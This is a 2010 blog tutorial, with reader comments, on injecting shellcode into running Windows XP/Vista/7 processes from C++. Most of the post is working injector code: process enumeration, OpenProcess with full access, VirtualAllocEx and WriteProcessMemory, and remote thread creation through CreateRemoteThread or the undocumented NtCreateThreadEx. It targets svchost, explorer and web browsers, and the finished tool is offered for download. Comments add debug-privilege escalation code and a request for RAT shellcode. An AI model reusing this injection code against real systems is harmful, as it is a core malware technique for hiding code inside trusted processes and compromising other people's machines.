Sunday, November 14, 2010

Injecting shellcode into XP/Vista/7 process using C++

In this post I will present a tool I created for injecting shellcode into any process in the system (even privileged once if you have admin permissions). This tool only uses WinAPI functions and should work on any Windows platform and without any dependency.
Let's begin:
First thing, we would like to find out the OS version and architecture of the machine our tool is running on, in order to act accordingly (explained later on). For this purpes we create a simple function called CheckOSVersion.
code:
int CheckOSVersion(void)
{
 /* 
 * Windows XP = 1 (NT 5.0)
 * Windows Vista = 2 (NT 6.0)
 * Windows 7 = 3 (NT 6.1)
 */
 OSVERSIONINFO osver;
 osver.dwOSVersionInfoSize = sizeof(osver);
 if (GetVersionEx(&osver))
 { 
  if (!(osver.dwPlatformId == VER_PLATFORM_WIN32_NT))  
   return 0;
  if (osver.dwMajorVersion == 5)
   return 1;
  if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0)
   return 2;
  if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 1)     
   return 3;  
 }
 else
  return 0;
}

Moving on to check the architecture. One of many ways to achieve this is by checking the size of a known data type:
bool is64bit; 
 // get system architecture
 if(sizeof(void*) == 4)
  is64bit = false; // 32bit
 else
  is64bit = true; // 64bit


The next thing we would like to do is to enumerate the processes so we could choose the ones we like to inject our shellcode into.
One way to achieve this is by using CreateToolhelp32Snapshot function which as it sounds, takes a snapshot of a certain process. The structure to contain a process info would be PROCESSENTRY32 and the functions we use to iterate through the processes would be Process32First and Process32Next
Code:
PROCESSENTRY32  pe32 = { sizeof( PROCESSENTRY32 ) };
 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );

 if( hSnapshot == INVALID_HANDLE_VALUE )
  return 0;

 if( ! Process32First( hSnapshot, &pe32 ) ) {
  CloseHandle( hSnapshot );
  return 0;
 }

 do {
  if( _tcsicmp( _T( "process_name.exe" ), pe32.szExeFile ) == 0){
   // The injection function is called from here...
  }
 } while( Process32Next( hSnapshot, &pe32 ) );

Now that we know the OS version, architecture and enumerated the processes, it's time for the fun part, injecting our shellcode into the selected processes. For this task we create a function called InjectCode (how surprising!). This function receives a process ID to inject to, the OS and architecture ID.
The flow of shellcode injection is quite simple. First we need to receive a handle with the appropriate permissions for the target process. For this task we use OpenProcess. Once we have the process handle we can allocate memory space on that process (making room for our shellcode) using VirtualAllocEx, writing the shellcode into the memory space we allocated using WriteProcessMemory and finally, in order to make the target process run our shellcode we use MyCreateRemoteThread, which creates a thread on the target process with our shellcode running on it.
code:
bool InjectCode( DWORD dwProcId, int os )
{
 //open process with proper access permissions
 HANDLE hHandle = NULL;
 if (os < 2)
  //good for Windows XP and older
  hHandle = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD, 0, dwProcId ); 
 else
  //good for Windows 7 and Vista (not tested on XP or older)
  hHandle = OpenProcess( PROCESS_ALL_ACCESS, 0, dwProcId );
 
 //check if OpenProcess succeeded
 if( hHandle == INVALID_HANDLE_VALUE )
  return false;

 //allocate memory for our shellcode in the desired process's address space
 LPVOID lpShellcode = NULL;
 //choose the shellcode which suits the environment
 if (os < 2)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( calc_shellcode_XP ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else if (os < 4)
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( msgbox_shellcode_Win7_32 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 else
  lpShellcode = VirtualAllocEx( hHandle, 0, sizeof( cmd_shellcode_Win7_64 ), MEM_COMMIT, PAGE_EXECUTE_READWRITE );
 
 //check if VirtualAllocEx succeeded
 if( lpShellcode == NULL) {
  CloseHandle( hHandle );
  return false;
 }

 // write the shellcode into the allocated memory space
 if (os < 2)
  WriteProcessMemory( hHandle, lpShellcode, calc_shellcode_XP, sizeof( calc_shellcode_XP ), 0 );
 else if (os < 4)
  WriteProcessMemory( hHandle, lpShellcode, msgbox_shellcode_Win7_32, sizeof( msgbox_shellcode_Win7_32 ), 0 );
 else
  WriteProcessMemory( hHandle, lpShellcode, cmd_shellcode_Win7_64, sizeof( cmd_shellcode_Win7_64 ), 0 );

 // create a thread which will execute our shellcode
 HANDLE hThread = MyCreateRemoteThread( hHandle, lpShellcode, 0 );
 if( hThread == NULL ) {
  CloseHandle( hHandle );
  return false;
 }
 return true;
}

MyCreateRemoteThread
code:
HANDLE MyCreateRemoteThread(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 if(GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtCreateThreadEx")) 
 { 
  return NtCreateThreadEx(hProcess, lpRemoteThreadStart, lpRemoteCallback); 
 } 

 else 
 { 
  return CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, lpRemoteCallback, 0, 0); 
 } 

 return NULL; 
}
The reason I'm using CreateRemoteThread and NtCreateThreadEx is that CreateRemoteThread not always works on Windows Vista and 7 (because of some changes made for hardening protection). NtCreateThreadEx is an undocumented function, there for I had to implement it instead of using the API as I did so far.

NtCreateThreadEx
code:
HANDLE NtCreateThreadEx(HANDLE hProcess, LPVOID lpRemoteThreadStart, LPVOID lpRemoteCallback) 
{ 
 typedef struct 
 { 
  ULONG Length; 
  ULONG Unknown1; 
  ULONG Unknown2; 
  PULONG Unknown3; 
  ULONG Unknown4; 
  ULONG Unknown5; 
  ULONG Unknown6; 
  PULONG Unknown7; 
  ULONG Unknown8; 

 } UNKNOWN; 

 typedef DWORD WINAPI NtCreateThreadEx_PROC( 
  PHANDLE ThreadHandle, 
  ACCESS_MASK DesiredAccess, 
  LPVOID ObjectAttributes, 
  HANDLE ProcessHandle, 
  LPTHREAD_START_ROUTINE lpStartAddress, 
  LPVOID lpParameter, 
  BOOL CreateSuspended, 
  DWORD dwStackSize, 
  DWORD Unknown1, 
  DWORD Unknown2, 
  LPVOID Unknown3 
  ); 

 UNKNOWN Buffer; 
 DWORD dw0 = 0; 
 DWORD dw1 = 0; 
 memset(&Buffer, 0, sizeof(UNKNOWN)); 

 Buffer.Length = sizeof (UNKNOWN); 
 Buffer.Unknown1 = 0x10003; 
 Buffer.Unknown2 = 0x8; 
 Buffer.Unknown3 = &dw1; 
 Buffer.Unknown4 = 0; 
 Buffer.Unknown5 = 0x10004; 
 Buffer.Unknown6 = 4; 
 Buffer.Unknown7 = &dw0; 

 NtCreateThreadEx_PROC* VistaCreateThread = (NtCreateThreadEx_PROC*) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtCreateThreadEx"); 

 if(VistaCreateThread == NULL) 
  return NULL; 

 HANDLE hRemoteThread = NULL; 
 HRESULT hRes = 0; 

 if(!SUCCEEDED(hRes = VistaCreateThread( 
  &hRemoteThread, 
  0x1FFFFF, // all access 
  NULL, 
  hProcess, 
  (LPTHREAD_START_ROUTINE)lpRemoteThreadStart, 
  lpRemoteCallback, 
  FALSE, 
  NULL, 
  NULL, 
  NULL, 
  &Buffer 
  ))) 
 { 
  return NULL; 
 } 

 return hRemoteThread; 
} 

That's about it. You can download the VS 2008 project files from here and the injector exe file from here.
The exe file injects Windows calculator for Win XP, a messagebox for Win7/Vista x86, or spawn CMD for Win7/Vista x64. The target processes are SVCHOST.EXE, Explorer.exe, iexplore.exe, firefox.exe and chrome.exe.

Hope you'll find this information usefull.
Cheers,
-Herzel

17 comments:

  1. Very interesting, I learn a lot.

    ReplyDelete
  2. The BEST article on the subject, I've ever seen! On my Windows 7, 64 bit, VistaCreateThread fails with c0000005 (access violation) though. Any ideas are much appreciated!

    ReplyDelete
  3. Hi Ole, I'm happy you found this post helpful.
    Though NtCreateThreadEx provides universal solution on Vista/Win 7 platform for remote thread execution, it is risky to use as it is undocumented function. As things may change with new version and support packs.
    You can further read about it here:
    www.securityxploded.com/ntcreatethreadex.php

    ReplyDelete
  4. Hi Herzel,

    This works on my Win7 Ultimate 64-bit. Got it from here:

    http://webcache.googleusercontent.com/search?q=cache:xMTPHbv0XjAJ:www.elitepvpers.de/forum/s4-league-hacks-bots-cheats-exploits/573270-src-release-injector-embeddable-dll-2.html+NtCreateThreadEx&cd=10&hl=da&ct=clnk

    typedef DWORD (WINAPI *NTCREATETHREADEX)
    (
    PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    BOOL CreateSuspended,
    DWORD dwStackSize,
    DWORD dw1,
    DWORD dw2,
    LPVOID Unknown
    );

    HANDLE hThread;
    HRESULT hRes;
    NTCREATETHREADEX NtCreateThreadEx = (NTCREATETHREADEX)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx");
    if(NtCreateThreadEx) {
    hRes = NtCreateThreadEx(&hThread, GENERIC_ALL, NULL, hRemoteProc, (LPTHREAD_START_ROUTINE)pLoadLibrary, (LPVOID)pDllToLoad, FALSE, NULL, NULL, NULL, NULL);
    }

    --

    So 'Unknown' is NULL and 'GENERIC_ALL' is used instead of '0x1FFFFF'.

    This proves, that you're right - using undocumented calls is kinda risky business :-)

    ReplyDelete
  5. I have the same problem. I'm calling NtCreateThreadEx() from a service that's running under 'Local System', and NtCreateThreadEx() returns with error 5 (access denied). Any idea?

    ReplyDelete
  6. Sounds like a permission issue. Make sure that SetDebugPrivileges() works properly (not returning any error).

    ReplyDelete
  7. Regarding the access errors, I believe you need to call OpenProcessToken() and change the access priveledges. Then you can call OpenProcess().

    Here's an example taken from another tutorial: BOOL insertDll(DWORD procID, LPCSTR dll)
    {
    ...
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    ...
    //Adjust token privileges to open system processes

    if(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
    LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid);
    tkp.PrivilegeCount = 1;
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    AdjustTokenPrivileges(hToken, 0, &tkp, sizeof(tkp), NULL, NULL);
    }

    //Open the process with all access
    hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, procID);

    ReplyDelete
  8. It has error in window 7 sp1 x64. 0xC0000005 Access Violation.

    ReplyDelete
  9. This comment has been removed by the author.

    ReplyDelete
  10. For shellcode and dll-injection with nice GUI check out this program http://code.google.com/p/vminject/
    works with all Windows versions and has the ability to list processes and assemble from (nasm) source! Really nice piece of software for shellcode testing

    ReplyDelete
  11. I was wondering if there's a way to change this into a shellcode to try in an exploit [other than VMInject]

    ReplyDelete
  12. hi plzzz can any one help me to find out the shell code of poison ivy rat

    ReplyDelete
  13. it's causing the process to crash after injection
    on windows 7 sp1
    I downloaded your injector from media fire
    any hints ?

    ReplyDelete
  14. I tried to download your source code files,but I failed.
    I just wanna know the definition of calc_shellcode_XP msgbox_shellcode_Win7_32 cmd_shellcode_Win7_64,because I can't compile it correctly.
    Could you please send me your VS 2008 project files and the injector exe file to me?
    ahau102013@gmail.com
    THX.

    ReplyDelete
  15. Hi Herzel,I got my problem solved,I downloaded Torch browser,and it works.

    I compiled when execute I got a "Hello World".Is it right?

    I tried to inject a dll,but the ie explorer crashed,and the MessageBox didn't poped up,either.
    Can you send me an example of dll injection?Thanks.

    ReplyDelete